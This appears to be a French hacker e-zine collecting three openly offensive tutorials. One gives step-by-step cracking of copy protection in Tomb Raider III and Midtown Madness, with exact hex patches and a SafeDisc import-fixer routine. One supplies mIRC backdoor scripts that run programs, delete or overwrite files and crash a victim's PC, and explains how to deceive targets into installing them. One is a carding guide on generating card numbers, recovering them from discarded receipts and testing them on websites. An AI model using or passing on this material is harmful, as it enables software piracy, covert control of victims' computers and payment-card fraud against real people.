** CD CHECKS: PROTECTIONS COMMERCIALES: **
** **
** CD LOCK: TOMB RAIDER 3 FR **
********************************************

Vous êtes sûrement beaucoup à vouloir Tomb Raider III mais ce jeu est protégé
contre la copie ! Enfin, en théorie !!!!
Tout d'abord nous allons voir la protection. Un CD Vierge ne peut contenir que 650 Mo
de données et le CD original de Tomb Raider III contient 3 Go de données ?!
Oui en fait il y a 4 fichiers qui font 600 Mo chacun : Awcs.afp ; Neir.afp ; Oket.afp et
Vfaw.afp . Pour Pouvoir le graver il faut d'abord copier tous les fichiers du CD sur le
disque dur, sauf les 4 cités plus haut. Ensuite créer 4 fichiers avec le même nom avec un
caractère dedans pour que le fichier fasse 1 octet. Maintenant on grave le CD sans problème
mais le jeu ne marchera pas car il est encore protégé !!! Et c'est là qu'intervient le
cracking!

Nous sommes en présence d'un CD Check (contrôle du CD) et le jeu nous affiche le message
" Tomb Raider III CD ?" malgré la présence du CD Gravé.
Si vous avez lu le premier cours, vous vous dites comme moi, on va le désassembler et chercher
cette phrase dans String Data References. Le problème c'est que l'on ne trouve pas cette phrase,
donc il suffit de réfléchir un tout petit peu.
Il y a 4 fichiers qui ne servent à rien donc on va chercher le nom de l'un d'eux dans
les String Data References. On voit d:\Awcs.afp , d:\Neir.afp , d:\Oket.afp et d:\Vfaw.afp.



Donc on double-click dessus et on retourne dans W32Dasm, juste au code source de cette
référence, on remonte avec les barres de défilement et on trouve:

test edi, edi
jne 0048D2CE

* Possible string data reference from Obj ->"rb"

Push 004C7AD4

* Possible string data reference from Obj ->"d:\AWCS.AFP"
.......



Le Jne (Jump if not equal) fait le saut s'il ne trouve pas le fichier de 600 Mo donc on le
change en je (jump if equal) et le programme ne saute que si il trouve le fichier. Il peut
toujours chercher !!! Donc maintenant on ouvre le fichier Tomb3.exe avec un éditeur
hexadécimal, on cherche la chaîne 85FF756568D4 et on la remplace par 85FF746568D4 .
Et on enregistre le fichier. Le jne 0048D2CE est devenu Je 0048D2CE.
Maintenant on refait la même chose avec les autres fichiers.(d:\Neir.afp , d:\Oket.afp et

d:\Vfaw.afp)
Les 2 premiers seront casi-identiques mais on ne trouvera pas la même chose au fichier
"D:\Vfaw.afp"
C'est normal il n'y a rien à changer. Donc vous avez changé :

- pour "Neir.afp":
0F85F9000000 par 0F84F9000000 ===> le 85 (jne) devient 84 (je)
- pour "Oket.afp":
0F85AD000000 par 0F84AD000000 ===> le 85 (jne) devient 84 (je)
- rien pour "Vfaw.afp"

Normalement, vous avez tout changé avec l'éditeur Hexadécimal et Sauvegardez. Une fois ceci
fait vous pouvez lancer le jeu avec un CD gravé dans le lecteur !!!

Tomb Raider III is Now Cracked !!!


Voilà!!
La Protection CD lock est assez stupide en fait !!
Même très simple à cracker ! Vous la retrouverez dans Commandos par exemple aussi :)
Pour le cours qui suit sur CDilla, il serait préférable d'aller jeter un oeuil
à la partie unpacking qui suit ce cours si vous ne connaissez rien en unpacking et
autres dumping !! Mais si vous êtes déjà à l'aise avec le PE, et que vous vous prenez
pour un 133t Cr4x0R hehe, lisez !! Mais ne pleurez pas si vous ne comprenez rien !!!
Voilà, let's go


************************************************************************
**** CDilla : Safe disc ****
************************************************************************


MidTown Madness version Française: Une autre approche sur CDilla


Outils nécessaires: * CD Original de Midtown Madness
* Soft-ice 3.23
* Soft-ice Tool pour patcher Soft-ice (pour dumper les sections)
* HexWorkshop
* Frogsice (pour cacher Soft-ice)
* ProcDump (comme PE Editor)
* Exescope



Introduction:

Salut à tous, je sais qu'il y a déjà un cours sur Midtown Madness par black check
mais la méthode que j'utilise n'est pas la même que lui...
Je vais expliquer le plus de choses possible et en plus c'est le 1er cours sur
CDilla en français !!!
Il serait préférable de lire le cours de black check avant, et d'avoir quelques
connaissances sur le format PE...


A Mort CDilla:


Après avoir installé le jeu, éditez le PE du fichier ".icd" avec ProcDump.
(lancez ProcDump, clickez sur PE Editor, allez où se trouve votre fichier ".icd")
Le fichier est : Midtown.icd

Maintenant, vous devez voir ceci:


- Entry Point : 00166C10
- Image Base : 00400000

Ok, nous allons avoir besoin de l'OEP (Original Entry Point) plus tard donc
nous allons le calculer dès maintenant.
Pour cela on a besoin de l'Image base et de l'Entry point que l'on obtient avec
ProcDump : 00400000 + 00166C10 = 566C10 (on les additionnes)


Maintenant, clicker sur le bouton "sections" pour voir toutes les sections du fichier.

On ne va avoir besoin que des valeurs Virtual Offset, Raw Size, et Raw Offset !


- pour la section ".text" :


Virtual Offset: 00001000
Raw Size: 18D78F
Raw Offset: 600


- pour la section ".Rdata" :


Virtual Offset: 0018F000
Raw Size: 14C99
Raw Offset: 18DE00



- pour la section ".data" :


Virtual Offset: 001A4000
Raw Size: 3D8A4
Raw Offset: 1A2C00



- pour la section ".data1" :


Virtual Offset: 00314000
Raw Size: 20
Raw Offset: 1E0600


- pour la section ".rsrc" :


Virtual Offset: 00315000
Raw Size: CB3
Raw Offset: 1E0800


Nous allons donc dumper toutes les sections du fichier ".icd" excepté la section ".Rdata"
car, c'est plus compliqué pour celle-ci !!

Il faut tout d'abord additionner l'Image base avec le Virtual Offset de toutes les sections:

.text : 400000 + 00001000 = 00401000
.rdata : 400000 + 0018F000 = 0058F000
.data : 400000 + 001A4000 = 005A4000
.data1 : 400000 + 00314000 = 00714000
.rsrc : 400000 + 00315000 = 00715000


Ok, maintenant nous allons dumper les sections...
Pour cela, mettez un breakpoint sur EOP (566C10 pour ce jeu).
Vous avez sûrement remarqué, que si vous lancez le jeu avec Soft-ice chargé,
il vous envois chier, car il y a de l'anti Soft-ice.
CDilla utilise meltice (createfilea) et l'int68h pour détecter Soft-ice.
Le mieux, c'est d'utiliser Frogsice, pour le cacher. J'utilise la version 0.20b, mais
il faut la patcher pour qu'elle cache complètement Soft-ice de la détection par int68h.
Dans le cours de black check on voit qui faut rechercher dans le fichier: FrogSice.vxd

-60 80 7d 1d 43
et le remplacer par :
-C3 80 7d 1d 43

Voilà, maintenant, plus aucun problème avec la détection de Soft-ice, on va pouvoir
s'occuper des choses sérieuses !!
Lancez votre Frogsice (version patchée) et lancez le jeu.
Pendant la vidéo, faites apparaître Soft-ice (ctrl+D) et mettez votre bpx sur l'OEP:
Bpx 56CC10 pour ce jeu...

Pressez F5, le jeu continue de se lancer, et quittez-le.
Maintenant relancez-le et Soft-ice breaks sur 56CC10. Si Soft-ice ne break pas, regardez
si vous avez bien mis votre bpx au bon endroit! (tapez bl et vous devez obtenir qq chose
comme ça #025F:56CC10)

Donc, Soft-ice break sur l'OEP, vous n'avez plus qu'à dumper les sections :)

Avant le dump, désactivez tous les bpx (bd *) car on veut pas de merdes dans nos sections
dumpées ehe !!

Grâce à Sice Tool, vous avez modifié la commande pagein qui vous permettra de dumper...
La commande pagein fonctionne donc comme ceci pour dumper:

pagein "l'adresse du début du dump" "longueur du dump" "nom du fichier"
Donc dans Soft-ice, tapez:


pagein 401000 18D78F c:\text.bin
pagein 5A4000 3D8A4 c:\data.bin
pagein 714000 20 c:\data1.bin
pagein 715000 CB3 c:\rsrc.bin

Voilà, nous avons donc nos sections sur le disque dur !!!!


Passons aux choses sérieuses !!! : La Section Rdata :


Bon, pour dumper cette section, c'est pas aussi simple =)


Tout d'abord, nous devons trouver l'adresse réelle de la fonction de décryptage et pour
cela nous allons tracer dans le call qui appelle dans la section rdata...
Après que Soft-ice ai stoppé sur l'OEP, on arrive ici :




00566C10 PUSH EBP <-- on stoppe ici sur l'entry point
00566C11 MOV EBP,ESP
00566C13 PUSH FF
00566C15 PUSH 005968D0
00566C1A PUSH 00566724
00566C1F MOV EAX,FS:[00000000]
00566C25 PUSH EAX
00566C26 MOV FS:[00000000],ESP
00566C2D ADD ESP, -5C
00566C30 PUSH EBX
00566C31 PUSH ESI
00566C32 PUSH EDI
00566C33 MOV [EBP-18],ESP
00566C36 CALL [0058F14C] <-- voici notre call, on trace dedans (F8)


Dans le call , on arrive ici :

009A6485 pushad
009A6486 push 00000031
009A6488 push 00000000 <-- 0 désigne les imports kernels, pour les users ça sera 1
009A6490 call [9A64A6] <-- l'adresse réelle de la fonction (9A64A6)
009A6496 add esp, 8
009A6499 popad
....... jmp [XXXXXXXX]


Tracez dans le call et vous allez voir que le jmp [XXXXXXXX] devient jmp [KERNEL32!GetVersion]
Ok, c'est normal, on est sur le bon chemin :o)
Nous allons bientôt programmer le Call fixer...
Mais avant tout, nous devons connaître le nombre d'import de Kernels et users qu'il y a dans
le jeu que l'on crack.
Pour cela, plusieurs méthodes, on peut désassembler le fichier ".icd" avec W32Dasm
et les compter ou bien tracer avec Soft-ice, mais j'ai utilisé un programme nommé : EXESCOPE
pour savoir le nombre d'imports...
Donc dans le fichier midtown.icd , j'ai :

- 127 imports pour kernel32
- 42 import pour user32

Ok, nous avons besoin des ses valeurs en hexadécimal, car dans Soft-ice on n'utilise pas de
décimal:

127 = 7Fh
42 = 2Ah

Ma partie préférée qd on crack CDilla: Programmer le call fixer.
Nous n'avons pas l'accès en écriture dans la section Rdata, donc nous allons la déplacer
dans la section rdata...
Pour coder le call fixer, je commence sur l'entry point, donc il faut réactiver le bpx
sur l'OEP, et relancer le jeu. Attendez que le jeu stoppe dans Soft-ice.

Maintenant on va déplacer notre rdata section à la place de la data section en mémoire.
Pour faire ça, taper :

m "le virtual offset de la section RDATA + l'image base" l "la longueur de RDATA" "le virtual
offset de la section DATA"

NOTE: Pour le virtual offset de la section data, utiliser un nombre plus grand, c'est mieux...


5A4000 est notre virtual offset, j'ai utilisé 5B0000 (Plus grand comme je vous ai dit)

Vous avez donc à taper:

m 58F000 l 14C99 5B0000

Maintenant, nous allons programmer le call fixer !!

Vous êtes donc à la ligne: 566C10 PUSH EBP

Ce que nous allons taper va ressembler à cela:

00 pushad
01 push ebx
02 push 0
04 call [XXXXXXXX]
0A add esp,8
0D mov edx, XXXXXX
12 cmp eax,[edx]
14 je 20
16 inc edx
17 cmp edx, XXXXXX + XXXXX
1D jne 12
1F int 03
20 mov [edx],ecx
22 popad
23 inc ebx
24 cmp ebx, XX
2A jne 00
2C int 03


C'est partis !!!

Tapez dans Soft-ice: A "et la touche entrée"

et programmez :

566C10 pushad
566C11 push ebx
566C12 push 0
566C14 call [009A64A6] adresse de la fonction trouvé en traçant dans le call
566C1A add esp,8
566C1D mov edx, 5B0000 adresse où nous avons copié notre section .rdata
566C22 cmp eax,[edx]
566C24 je 566C40
566C26 inc edx
566C27 cmp edx, 5B0000 + 14C99 adresse où nous avons copié notre section .rdata + rdata size
566C3D jne 566C22
566C3F int 03 par sécurité, si il ne trouve rien, il stoppe ici
566C40 mov [edx],ecx
566C42 popad
566C43 inc ebx
566C44 cmp ebx, 7F Nombre d'API à réparer
566C4A jne 566C10
566C4C int 03


Mettez ebx à 0 (R ebx 0) , et votre eip à la ligne 0 (ligne 0 = 566C10 ici, donc:
R EIP 566C10)
tapez "i3here on" et pressez F5 pour exécuter le code, normalement on devrait stopper sur
566C4C .
Remettez votre ebx à 0, changez la ligne 02 (56CC12 ici) en "push 1" et changez la ligne 24 en
'cmp ebx, user_import_number' (2A for us) et remettez votre eip à la ligne 0 (R EIP 566C10).
Exécuter ça encore (F5). Normalement tout est ok, et on doit encore avoir stoppé sur 566C4C .
Nous pouvons maintenant dumper la section rdata sans crainte car tout est décrypté :o)

pagein 5B0000 14C99 c:\rdata.bin


Hehe !! Maintenant on va reconstruire un fichier exécutable qui va être le fichier final.
J'ai essayé ProcDump pour importer les sections, mais cette merde n'a rien changé GRR !
Donc, je l'ai fait à la main comme un grand ;)
Voilà comment faire :

En premier faites une copie du fichier ".icd" (Midtown.icd) et renommez-le en ce que vous
voulez mais avec l'extension ".exe" (ex: fuckit.exe)

Ok, lancez HexWorkshop, ouvrez "Damnit.exe", ainsi que le fichier de notre première section
dumpé :

C'était: c:\text.bin

On va avoir besoin du Raw offset de chaque section, on les trouves au début du cours mais
je vais vous les remettre pour une meilleure compréhension:

for the ".text" section : Raw Offset: 600 size : 18D78F
for the ".Rdata" section : Raw Offset: 18DE00 size : 14C99
for the ".data" section : Raw Offset: 1A2C00 size : 3D8A4
for the ".data1" section : Raw Offset: 1E0600 size : 20
for the ".rsrc" section : Raw Offset: 1E0800 size : CB3

Ok, you got all shits here !! We want to do the 1st section ".text" so :

Dans HexWorkshop, pressez alt+f5, entrez le Raw offset de la section que vous voulez importer
ici : 600 et cliquez sur ok. Allez dans le menu Edit, et cliquez sur "select block"
Entrez la longueur (size) de la section, ici : 18D78F...
Regardez le fichier ouvert (text.bin) et pressez 'ctrl+a' pour tout sélectionner..
copiez tout ça avec 'ctrl+c'.
Retournez dans la fenêtre principale de l'exécutable dans HexWorkshop (damnit.exe), et coller
ce que vous venez de copier dans le presse papier, faites: 'ctrl+v' ou menu Edit et paste.
Enregistrez votre fichier, cool !! Voilà, c'est fini pour la section '.text', elle est
maintenant décryptée!!


Ok, je vais vous montrer l'import d'une autre section et vous ferez les autres de la même
façon !


2ème section : Rdata!

Vous pouvez fermer la fenêtre 'text.bin', et ouvrez le fichier: 'rdata.bin' avec HexWorkshop.
Retournez dans la fenêtre de l'exécutable et pressez 'alt+f5', entrez le Raw offset de la
section rdata: 18DE00.
Cliquer sur le menu Edit, et cliquer sur "select block" entrez la longueur (size) de la
section, ici : 14C99

Regardez la fenêtre de rdata.bin , pressez 'ctrl+a' pour sélectionner tout et copiez les bytes
avec 'ctrl+c'...
Retournez dans la fenêtre de l'exécutable (damnit.exe) dans HexWorkshop et collez avec
'ctrl+v' ou avec le menu Edit..

Ok, je pense que vous avez compris maintenant, faites de même avec toutes les sections
et enregistrez les modifications dans l'exécutable.

Vous pouvez quitter Frogsice car l'anti Soft-ice n'est plus dans notre nouvel exécutable !!
Virez le CD original de Midtown Madness et lancez 'damnit.exe'.

WOW, le jeu marche, se lance très rapidement et sans cette merde de fenêtre qui nous dit
d'attendre durant la vérification du CD.
Le jeux marche superbement bien :o)

Mais pour faire une exécutable parfait, il faut reconstruire le PE en utilisant ProcDump
afin qu'il marche avec tous les OS.

Si vous lancez le jeu sur une autre version de Windows ça va planter :(
Allez, on va réparer ça !!


- Lancez ProcDump (Merci G-RoM :)
allez dans les Options et sélectionnez:

[X]Recompute Object Size
[X]Optmize PE Structure

[X] Use actual import infos
et cliquer sur OK

Cliquez sur Rebuild PE, et cherchez notre nouveau fichier (Damnit.exe pour nous)

ProcDump nous fais une valide import table et notre exécutable est PARFAIT :o)
du moins, j'espère hehe !!

Voilà, je pense que ça suffira pour les protections CD !!




-¤)-[ tHE ANALYST ]-(¤-
^^^^^^^^^^^^^^^^^^^^^^^






#
# ### #
## ### ##
#### ##### ###
##### ##### ####
###### ##### ######
###### ##### #######
#### ################### ####
#################################
##########################
##################
#########################
##############
##
##






¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤

CONTROLER UN PC GRACE A IRC

¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤




Cet article n'est pas d'un niveau très élevé, car il repose sur de simples backdoors
dans des scripts IRC, mais cela montre qu'en cherchant un peu, il est possible de faire pas
mal de trucs sur le PC d'un mec via des scripts IRC.


Tout d'abord, voici les explications sur de simples lignes de script qu'on pourrait
qualifier de backdoors :



on 1:TEXT:*!say*:*:/msg $2-

Ce script permet de faire dire ce que l'on veut à la personne qui l'a installé en tapant
la commande :

!say #chan <message>

Par exemple, si vous tapez "!say #nethack fuck", la personne dira "fuck" sur le
han #nethack (ce ne sera pas vraiment la personne, mais ce sera son nick).




on 1:TEXT:!exe*:*:/run $2-

Ce script permet de lancer des programmes sur l'ordinateur de la personne qui a installé
ce script en tapant la commande :

!exe <adresse du programme>

Par exemple, si vous tapez "!exe c:\windows\calc.exe", la machine de votre victime lancera
la calculatrice Windows.




on 1:TEXT:!del*:*:/remove $2-

Ce script permet d'effacer des fichiers sur l'ordinateur de la personne qui a installé
ce script en tapant la commande :

!del <adresse du fichier>

Par exemple, si vous tapez "!del c:\autoexec.bat", vous effecerez le fichier
autoexec.bat de l'ordinateur de votre victime.




on 1:TEXT:!write*:*:/write $2-

Ce script permet d'écrire dans les fichiers textes se trouvant sur l'ordinateur de la
personne qui a installé ce script en tapant la commande :

!write <adresse du fichier> <message>

Par exemple, si vous tapez "!write c:\autoexec.bat Hacked", vous rajouterez le mot
"Hacked" à la fin du autoexec.bat de la machine de votre victime.




on 1:TEXT:*!kill*:*:/con/con

Ce script permet de faire planter l'ordinateur de la personne qui a installé ce script
en tapant la commande :

!kill

Par exemple, si vous tapez "!kill", votre cible se retrouvera devant un ben écran bleu :o)




Donc, nous avons vu que l'on peut faire pas mal de choses sur un ordinateur distant
grâce aux scripts ci-dessus.

La problématique, c'est qu'il faut que votre cible installe les scripts dans la partie
"Remote" pour que vous puissiez les utiliser.

Si la personne que vous visez ne connait absolument rien en script, vous pouvez tout
simplement lui mentir en lui disant que le script lui permettra de tracer quelqu'un et de
s'opper sur tous les chans publics, ou un truc du genre, et vous n'avez alors plus qu'à lui
envoyer le script suivant :


-=/ --/-- CUT HERE --/-- CUT HERE --/-- /=-

on 1:TEXT:*!say*:*:/msg $2-
on 1:TEXT:!exe*:*:/run $2-
on 1:TEXT:!del*:*:/remove $2-
on 1:TEXT:!write*:*:/write $2-
on 1:TEXT:*!kill*:*:/con/con

-=/ --/-- CUT HERE --/-- CUT HERE --/-- /=-



Maintenant, si vous craignez que votre cible s'y connaisse ne serait-ce qu'un petit peu,
vous pouvez noyer ces cinq lignes dans d'autres scripts plus anodins, sachant que plus il y
aura de lignes, mieux ce sera, car votre cible ne prendra pas le temps d'analyser toutes les
commandes une par une.

Voici un exemple de script à lui faire installer, mais n'hésitez pas à rajouter encore
des commandes ou carrément à recopier plusieurs fois la même ligne :


-=/ --/-- CUT HERE --/-- CUT HERE --/-- /=-

1:join:#:/msg $nick Salut $nick :o)
on 1:TEXT:*!say*:*:/msg $2-
1:text:*bye*:#:/msg A plus $nick :o)
on 1:TEXT:!exe*:*:/run $2-
1:PING:/notice $nick [ $me PING Reply] : 000 secs
on 10:join:#:/echo 5 $nick is in $chan
on 1:TEXT:!write*:*:/write $2-
1:time:*:/notice $nick now, it is $time
1:join:#:/msg $nick Como estas $nick ?
on 1:TEXT:*!kill*:*:/con/con
on 1:TEXT:!del*:*:/remove $2-
on @1:text:!kick*:#://kick $chan $2
on @1:text:!op:#://mode $chan +o $nick
1:text:*#*:*:/msg $nick no pub pliz

-=/ --/-- CUT HERE --/-- CUT HERE --/-- /=-



Qui plus est, l'avantage avec ce script, c'est que vous pourrez savoir quand votre cible
l'aura installé dans son "Remote", en tapant les commandes :

/time <nick de la cible>

Il vous répondra : "now, it is <heure>

/ping <nick de la cible>

Il vous répondra : "000 secs"



Voili-voila, maintenant, vous n'avez plus qu'à vous démerdez pour que votre cible
installe un de ces scripts dans le "Remote" de son serveur IRC, mais pour ça, je vous fait
confiance :o)



~°)-¤ Redoxx ¤-(°~
^^^^^^^^^^^^^^^^^^





#
# ### #
## ### ##
#### ##### ###
##### ##### ####
###### ##### ######
###### ##### #######
#### ################### ####
#################################
##########################
##################
#########################
##############
##
##










¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤

CARDING, EXPLICATIONS & UTILISATIONS

¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤


¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤
*** Description de la carte ***
¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤


Sortez votre portefeuille et observez la. Sur le recto, vous observez une puce. Retournez la et
vous verrez une piste magnétique de couleur noire. Maintenant pourriez vous répondre à cette
question: qu'a-t-on donc stocké sur ces éléments? Sur quoi se base-t-on pour juger de la
validité d'une carte (je n'ai pas dit "d'un compte bancaire", ça c'est une autre histoire) ?


On se base sur trois critères :

- le plus répandu se base sur la piste magnétique (achats, prélèvements, etc..). Sur celle ci
sont stockées des informations comme le numéro à 16 chiffres, le nom/prénom du porteur, ainsi
que la date d'expiration. Notez qu'il est inutile d'essayer de découvrir le code secret à 4
chiffres en se basant uniquement sur la piste magnétique. Celle ci préfère brider un off set,
décryptable uniquement par la banque émètrice (lorsque le code PIN est transféré à la banque).

- ensuite, on a la puce. Les informations contenues sur la puce sont les mêmes que celles
inscrites sur la pistes, enrichie heureusement (ça dépend pour qui) d'une VA (Valeur
d'Authentification : un algorythme ou "calcul cryptographique"). Notez que depuis novembre 1999,
on voit apparaître des clés RSA 792 bits, évidemment plus difficiles à décrypter que le DES 56
bits (voir des zine de crypto).

- le numéro gravé dans la carte même.


Pour être plus clair, le code PIN (Personnal Identification Number) que vous tapez sur le
terminal permet à la carte de dire à la banque quelle clé utilisez pour lire l'information
stockée sur la piste magnétique (ou la puce à 5% des cas). En ce sens on put dire que la carte à
puce, d'un point de vue très primaire, est protégé par deux portes, ont l'une (code PIN) est
moins bien fermée que l' autre.



La fonction des nombres et de l'algorythme :


Les chiffres choisis pour identifier la carte ont-ils une fonction bien précise ou au contraire
sont ils choisis au hasard. Disons que le choix est arbitraire jusqu' à un certain point.

Soit un numéro de 16 chiffres inconnu.
Les quatre premiers chiffres définissent l'identitié de la banque ; ainsi aurons nous ceci:
Sofinco : 4976
Credit Lyonnais : 4972
Société Générale : 4973
Caisse d'Epargne : 4927 et 4978



On observe une parfaite relation logique entre les différents chiffres du code. Déjà en
diminuant les probabilités, il faut savoir si la victime est oui ou non un client de longue
date.

Si oui, le 14° chiffre est un 1. Sinon, c'est un 0.

Les numéros 7 à 13 se réferrent au numéro de compte.

L'utilité de savoir ceci réside dans le fait qu'il vous serait bien utile de connaitre ces
données si jamais vous trouvez une facturette avec pour seules valeurs 9 chiffres. Vous
connaitres les 6 premiers chiffres (banque et centre), vous connaissez les 9 autres (les
chiffres inscrits sur le pitit papier), et par déduction, en calculant l' algorythme vous
trouverez le dernie, la clé de Luhn. Calcul algorythmique décrit ici.




¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤
*** Calcul Algorythmique ***
¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤


L'algorythme en Carding est une des bases fondamentales de la disciplines. Mais à dire vrai,
c'est désormais un peu comme le bac. Il ne sert à rien quant on l'a, on court après quand on ne
l'a pas. On va prendre un exemple simple pour calculer notre premier numéro de Carte bancaire
(notez qu' il existe aussi une méthode pour calculer les clés RIB!).

Prenons l'exemple d'une carte appartenant au Crédit Lyonnais (4972). Plusieurs valeurs vont
rentrer en jeu.


Le numéro sera de la forme ABAB ABAB ABAB ABAB

-Chaque nombre A donnera après calcul cryptographique un résultat A'.
Pour une valeur A=3, on multipliera A par 2 et donc A'=6.
Dans le cas ou A=5 ou A supérieur à 5, on multipliera par 2 et on ajoutera 1 (ici A'=11).


Comment procéder?

Etablissez un numéro en choisissant des chiffres de façon arbitraire.
4972 4153 4579 1511 par exemple.

Mettons les valeurs A en gras : 4972 4153 4579 1511

Attribuons leur maintenant leurs valeurs A' respectives :
4 donne 8
7 donne 15
4 donne 8
5 donne 11
etc....

Additionnaons maintenant les valeurs A' et B
8+9+15+2+8+1+11+3+8+5+15+9+2+5+2+1=104
Soit 104 la valeur C. Si C est un multiple de 10, alors le numéro de Carte bancaire généré ainsi
est valide. S' il n' est pas multiple de 10, alors il s' agira de rajouter la valeur 6 dans
l'algorythme.
Si on rajoute la valeur défault (6) à un A', alors le chiffre sera 3 (2x3=6). Si on le rajoute à
une valeur B, 6 restera 6. On peut aussi disperser 6 sur l'ensemble de l'algorythme (2 par ci, 4
par là).

Je pense que ces premières notions n'étaient pas bien difficiles à comprendre. Sachez juste que
c'est essentiel pour la suite.




¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤
*** Carder's Actions ***
¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤


1.Acheter sur internet avec un numéro 16 chiffres Attribué
2.Simulacre de carte bancaire (16 chiffres PIN non nécessaire)
3.Cartes téléphoniques rechargeables




1.Acheter sur internet avec un numéro 16 chiffres Attribué

Pour acheter sur Internet, que nous faut il? Un numéro de Carte bancaire attribué, c' est tout.
10% des sites vous demandent d' indiquer le nom du porteur. Si c' est le cas, ne perdez plus
votre temps sur ce serveur et trouvez en un autre.

L'astuce, c'est de trouver un numéro de Carte Bancaire attribué. Vous pouvez trouver des
facturettes dans les Quick, les MacDo, les centres commerciaux, les banques (près des
distributeurs, dans la corbeille ou par terre), dans les boutiques genre Zara pour homme et
femmes, etc...

Certaines factures contenant le numéro à 16 chiffres sont bridées lorsque vous les ramassez.
C'est une mesure de sécurité bien inutile de la part des commerçants, puisqu'il existe toujours
un certain pourcentage de chances que l'on retrouve avec précision le numéro complet à 16
chiffres.

En ce qui concerne les tickets trouvés à la sortie des banques, la tache est plus aisée.
Connaissant la banque et l'indicatif de la banque, vous pourrez sans problème en déduire le
numéro de carte de la victime (mais ça c' est pas cool).

Au MacDo, généralement, le numéro n'est pas bridé. De même c'est ici que tous les jeunes se
réunissent pour frimer avec leurs putains de cartes bancaires, alors aucun scrupule à baiser ces
fils de pute de frimeurs. C' est ton problême si t'es insouciant ; paies en les conséquences
pov' merde.

Pour commander, une fois le numéro décrypté (rapportez vous à la page sur l'algorythme), il faut
passer une commande sur Internet. Je ne vais pas vous dire comment faire pour recevoir la
marchandise car vous êtes assez grands pour vous débrouiller seul. J'vais pas vous mâcher le
travail non plus !

Si vous emettez des doutes sur la validité du numéro que vous avez plus ou moins décrypté, vous
pouvez toujours faire des blank tests sur internet : vous allez sur un site de cul payant en
utilisant un proxy, et vous rentrez votre numéro de CB attribué. Si la demande est acceptée,
c'est cool, mais dans le doute, mettez un numéro bidon pour faire le test. Peut être qu'ils
répondent "ok" à toutes les cartes et ça c'est pas bon pour vous si vous voulez commander un
truc !

Donc testez la sécurité du site, du genre "et cette fausse carte tu la captes?". Les sites de
cul payants sont l'outil préféré du carder qui veut pas trop se casser le cul à faire des
probabilités : tu rentres les numéros jusqu'à ce que l'un d'eux soit accepté et après, have some
really fucking good fun!



2.Simulacres de carte bancaire

Vous en avez peut être entendu parler. En 1998, Serge Humpich avait fait des simulacres de
cartes bancaires. Cette technique est désormais bien connue des GIE cartes bancaires mais ils
semblent s'en foutre au point que les fraudes continuent toujours. Le but, c'est de se procurer
par n'importe quel moyen des numéros de 16 chiffres et de les transcoder sur une carte à puce
programmable (pour cela vous avez besoin d'un card copier et d'un card reader -200 balles-
évidemment). Vous vous pointez à un distributeur de billets, et vous insérez la carte. La
technique est simple mais chiante : essayer tous les codes PIN existants. Seulement il faut
savoir qu'au bout de trois essaie votre carte est avalée. Donc vous devrez tourner et faire tous
les distributeurs de la ville ! Mais bon ça c'est pour ceux qui veulent s'éclater un peu entre
potes le week end ; quelle satisfaction quand ça marche enfin !

Autre méthode (plus scientifique et estampillée "Humpich") : nous allons appliquer la formule
des 96 chiffres 640 bits.

Méthode:
-générer un numéro de 16 chiffres attribué à une banque (qui commence avec un indicatif choisi)
-une date d' expiration au hasard
-un nom de porteur
